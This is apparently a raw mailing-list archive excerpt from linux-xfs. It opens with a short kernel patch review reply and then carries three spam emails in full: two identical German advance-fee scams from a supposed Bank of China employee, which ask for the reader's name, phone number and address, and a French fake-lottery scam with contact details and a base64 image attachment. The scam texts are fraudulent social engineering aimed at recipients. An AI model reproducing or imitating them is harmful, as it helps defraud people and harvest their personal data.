X-Barracuda-Start-Time: 1387021440 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Dec 14, 2013 at 7:20 PM, Jeff Liu wrote: > On 12/14 2013 00:32 AM, Christoph Hellwig wrote: >>> +static inline prid_t xfs_get_initial_prid(struct xfs_inode *dp) >>> +{ >>> + if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) >>> + return xfs_get_projid(dp); >>> + else >>> + return XFS_PROJID_DEFAULT; >>> +} >> >> You could skip the else here. > Except that, I'd suggest we move this helper to proper header file with > further refactoring in xfs_symlink(), and it could be a separate patch. Good point, will apply it, thanks. > > Thanks, > -Jeff -- Regards, Zhi Yong Wu From sunzh@live.hk Sat Dec 14 10:13:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=COMPENSATION,FREEMAIL_FROM, FREEMAIL_REPLYTO,LOTS_OF_MONEY,MONEY_FRAUD_3,T_MONEY_PERCENT, UNPARSEABLE_RELAY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1C63A7F52 for ; Sat, 14 Dec 2013 10:13:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 967E1AC040 for ; Sat, 14 Dec 2013 08:13:52 -0800 (PST) X-ASG-Debug-ID: 1387037630-04bdf00fdf0ea00001-w1Z2WR Received: from mail1.bemta3.messagelabs.com (mail1.bemta3.messagelabs.com [195.245.230.166]) by cuda.sgi.com with ESMTP id PxUyU3XeVMhWUP0C for ; Sat, 14 Dec 2013 08:13:51 -0800 (PST) X-Barracuda-Envelope-From: sunzh@live.hk X-Barracuda-Apparent-Source-IP: 195.245.230.166 Received: from [85.158.137.3:57801] by server-6.bemta-3.messagelabs.com id 7A/29-04868-DB38CA25; Sat, 14 Dec 2013 16:13:49 +0000 X-Env-Sender: sunzh@live.hk X-Msg-Ref: server-8.tower-38.messagelabs.com!1387037626!11784877!6 X-Originating-IP: [81.138.121.125] X-StarScan-Received: X-StarScan-Version: 6.9.16; banners=-,-,- X-VirusChecked: Checked Received: (qmail 18578 invoked from network); 14 Dec 2013 16:13:49 -0000 Received: from matrix.uk.com (HELO mail.matrix.uk.com) (81.138.121.125) by server-8.tower-38.messagelabs.com with SMTP; 14 Dec 2013 16:13:49 -0000 Received: from [10.16.164.189] ([188.189.53.68]) by mail.matrix.uk.com with Microsoft SMTPSVC(6.0.3790.4675); Sat, 14 Dec 2013 16:15:34 +0000 Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Guten Tag! To: Recipients X-ASG-Orig-Subj: Guten Tag! From: "Mr. SUN Zhijun" Date: Sat, 14 Dec 2013 17:13:30 +0100 Reply-To: s_zhijun001@qq.com Message-ID: X-OriginalArrivalTime: 14 Dec 2013 16:15:34.0616 (UTC) FILETIME=[B7DCD580:01CEF8E7] X-Barracuda-Connect: mail1.bemta3.messagelabs.com[195.245.230.166] X-Barracuda-Start-Time: 1387037630 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC3_MV0132_3, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143094 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 1.00 BSF_SC3_MV0132_3 Custom rule MV0132_3 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address Guten Tag, Mein Name ist Mr.SUN Zhijun, ich mit der Bank of China zu arbeiten. Ich bra= uche Ihre Unterst=FCtzung in Durchf=FChrung einer Transaktion bei $ 18,5 Mi= llionen Dollar gesch=E4tzt, m=F6chte ich Ihnen 30% der gesamten Mittel als = Ausgleich f=FCr Ihre Unterst=FCtzung in dieser Transaktion. Ich werde Sie = =FCber die vollst=E4ndige Transaktion benachrichtigt nach Eingang Ihrer Ant= wort, wenn interessiert, bitte senden Sie mir Ihren vollst=E4ndigen detials= als unten, um meine E-Mail aufgef=FChrt: s_zhijun001@qq.com 1. Vollst=E4ndiger Name 2.Private Telefonnummer 3.Current Wohnadresse Mit freundlichen Gr=FC=DFen, Mr.SUN Zhijun From zhijun@live.com Sat Dec 14 10:14:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=COMPENSATION,FREEMAIL_FROM, FREEMAIL_REPLYTO,LOTS_OF_MONEY,MONEY_FRAUD_3,T_MONEY_PERCENT, UNPARSEABLE_RELAY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E08607F52 for ; Sat, 14 Dec 2013 10:14:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BBD52304032 for ; Sat, 14 Dec 2013 08:14:18 -0800 (PST) X-ASG-Debug-ID: 1387037656-04bdf00fe00ea20001-w1Z2WR Received: from mail1.bemta14.messagelabs.com (mail1.bemta14.messagelabs.com [193.109.254.107]) by cuda.sgi.com with ESMTP id OM0AHtCjGr2E3PBT for ; Sat, 14 Dec 2013 08:14:17 -0800 (PST) X-Barracuda-Envelope-From: zhijun@live.com X-Barracuda-Apparent-Source-IP: 193.109.254.107 Received: from [85.158.140.211:6235] by server-3.bemta-14.messagelabs.com id 88/98-11000-7D38CA25; Sat, 14 Dec 2013 16:14:15 +0000 X-Env-Sender: zhijun@live.com X-Msg-Ref: server-5.tower-194.messagelabs.com!1387037651!13338662!8 X-Originating-IP: [81.138.121.125] X-StarScan-Received: X-StarScan-Version: 6.9.16; banners=-,-,- X-VirusChecked: Checked Received: (qmail 32027 invoked from network); 14 Dec 2013 16:14:15 -0000 Received: from matrix.uk.com (HELO mail.matrix.uk.com) (81.138.121.125) by server-5.tower-194.messagelabs.com with SMTP; 14 Dec 2013 16:14:15 -0000 Received: from [10.16.164.189] ([188.189.53.68]) by mail.matrix.uk.com with Microsoft SMTPSVC(6.0.3790.4675); Sat, 14 Dec 2013 16:16:00 +0000 Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Guten Tag To: Recipients X-ASG-Orig-Subj: Guten Tag From: "Mr. SUN Zhijun" Date: Sat, 14 Dec 2013 17:13:56 +0100 Reply-To: s_zhijun001@qq.com Message-ID: X-OriginalArrivalTime: 14 Dec 2013 16:16:00.0486 (UTC) FILETIME=[C7484860:01CEF8E7] X-Barracuda-Connect: mail1.bemta14.messagelabs.com[193.109.254.107] X-Barracuda-Start-Time: 1387037656 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC3_MV0132_3, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143094 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 1.00 BSF_SC3_MV0132_3 Custom rule MV0132_3 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address Guten Tag, Mein Name ist Mr.SUN Zhijun, ich mit der Bank of China zu arbeiten. Ich bra= uche Ihre Unterst=FCtzung in Durchf=FChrung einer Transaktion bei $ 18,5 Mi= llionen Dollar gesch=E4tzt, m=F6chte ich Ihnen 30% der gesamten Mittel als = Ausgleich f=FCr Ihre Unterst=FCtzung in dieser Transaktion. Ich werde Sie = =FCber die vollst=E4ndige Transaktion benachrichtigt nach Eingang Ihrer Ant= wort, wenn interessiert, bitte senden Sie mir Ihren vollst=E4ndigen detials= als unten, um meine E-Mail aufgef=FChrt: s_zhijun001@qq.com 1. Vollst=E4ndiger Name 2.Private Telefonnummer 3.Current Wohnadresse Mit freundlichen Gr=FC=DFen, Mr.SUN Zhijun From mairie.hurigny71@orange.fr Sun Dec 15 01:54:38 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 614827F52 for ; Sun, 15 Dec 2013 01:54:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E0872AC002 for ; Sat, 14 Dec 2013 23:54:33 -0800 (PST) X-ASG-Debug-ID: 1387094065-04bdf00fe0257c0001-w1Z2WR Received: from smtp.smtpout.orange.fr (smtp01.smtpout.orange.fr [80.12.242.123]) by cuda.sgi.com with ESMTP id No3hK5EtrAq2Kjev for ; Sat, 14 Dec 2013 23:54:26 -0800 (PST) X-Barracuda-Envelope-From: mairie.hurigny71@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.123 Received: from wwinf1z22 ([10.223.68.46]) by mwinf5d02 with ME id 1juQ1n00A0ztpJ203juQB9; Sun, 15 Dec 2013 08:54:24 +0100 Date: Sun, 15 Dec 2013 08:54:24 +0100 (CET) From: Monsieur Madame Reply-To: Monsieur Madame To: "lcapone58@live.be" Cc: "esteban.abascal@yahoo.com.mx" Message-ID: <404572567.1549.1387094064330.JavaMail.www@wwinf1z22> Subject: =?UTF-8?Q?TR_:FW:_tr:_FW:_TR_:TR_:_:_:?= =?UTF-8?Q?_.RE:Cher(e)(s)_Membre(s)=E2=80=8F=E2=80=8F=E2=80=8F=E2=80=8F?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?Q?TR_:FW:_tr:_FW:_TR_:TR_:_:_:?= =?UTF-8?Q?_.RE:Cher(e)(s)_Membre(s)=E2=80=8F=E2=80=8F=E2=80=8F=E2=80=8F?= Content-Type: multipart/mixed; boundary="----=_Part_1547_923015540.1387094064322" X-Country-Code: X-me-spamlevel: not-spam X-Cache-ID: Message-Context: email-message X-WUM-SignatureAdded: X-me-spamrating: 40.00 X-Cache-Entry: X-Wum-Nature: EMAIL-NATURE X-Originating-IP: 209.222.8.196 X-Message-Size: X-SAVECOPY: false X-National-Code: X-Wum-ChannelType: X-WUM-FROM: |~| X-WUM-TO: |~| X-WUM-CC: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp01.smtpout.orange.fr[80.12.242.123] X-Barracuda-Start-Time: 1387094065 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_Part_1547_923015540.1387094064322 Content-Type: multipart/alternative; boundary="----=_Part_1548_1847798499.1387094064322" ------=_Part_1548_1847798499.1387094064322 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable T=C3=A9l=C3=A9chargerAfficher le diaporama (1)T=C3=A9l=C3=A9charger en tant= que zip  =C3=98       ----- O= riginal Message ----- > ----- Original Message ----- >>  >= ----- Original Message ----- > ----- Original Message ----- >=C3=98&= nbsp;       Bonjour Mme / MrNous vous contactons par cette pr=C3=A9sente lettre pour vo= us informer que vous =C3=AAtes b=C3=A9n=C3=A9ficiaire de la somme de 250.00= 0 EUR =C3=A0 la LOTERIE BILL GATES FOUNDATION. Ceci n'=C3=A9tant donc pas u= n spam ni un virus, veuillez trouver en fichier joint votre notification de= gain. Pour la r=C3=A9clamation de votre gain veuillez entrer en contact di= rect avec Ma=C3=AEtre RENNE LEFOU: E-mail: renne.lefou@hotmail.co.ukTel:   (00225) 42 75 50 75 Mr . ISABELLE CHEVALIER Responsable de la Compagnie LOTERIE MICROSOFT. ------=_Part_1548_1847798499.1387094064322 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable T=C3=A9l=C3=A9charger

    Afficher le diaporama (1)

    T=C3=A9l=C3=A9charger en tant que zip

     

     <= /p>

    =C3=98       ----- Original Message ---= -- > ----- Original Message ----- >>  > ----- Original Message ----- > ----- Original Me= ssage ----- >

    =C3=98       

    Bonjour Mme / Mr

    Nous vous contactons p= ar cette pr=C3=A9sente lettre pour vous informer que vous =C3=AAtes b=C3=A9= n=C3=A9ficiaire de la somme de 250.000 EUR =C3=A0 la LOTERIE BILL GATES FOU= NDATION. Ceci n'=C3=A9tant donc pas un spam ni un virus, veuillez trouver e= n fichier joint votre notification de gain. Pour la r=C3=A9clamation de vot= re gain veuillez entrer en contact direct avec Ma=C3=AEtre RENNE LEFOU:


    E-mail: renne.lefou@hotmail.= co.uk

    Tel:   (00225) 42 75 50 75=


    Mr . ISABELLE CHEVALIER

    Responsable de la Compagn= ie LOTERIE MICROSOFT.
    ------=_Part_1548_1847798499.1387094064322-- ------=_Part_1547_923015540.1387094064322 Content-Type: image/jpeg Content-Transfer-Encoding: base64 Content-Disposition: attachment; size=837548; size=837548; filename="33-brochure-homelifts-b2c_LR(1)(1)-1.JPG" Qk3WVgkAAAAAADYAAAAoAAAANgIAAGgBAAABABgAAAAAAAAAAADEDgAAxA4AAAAAAAAAAAAA//// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// 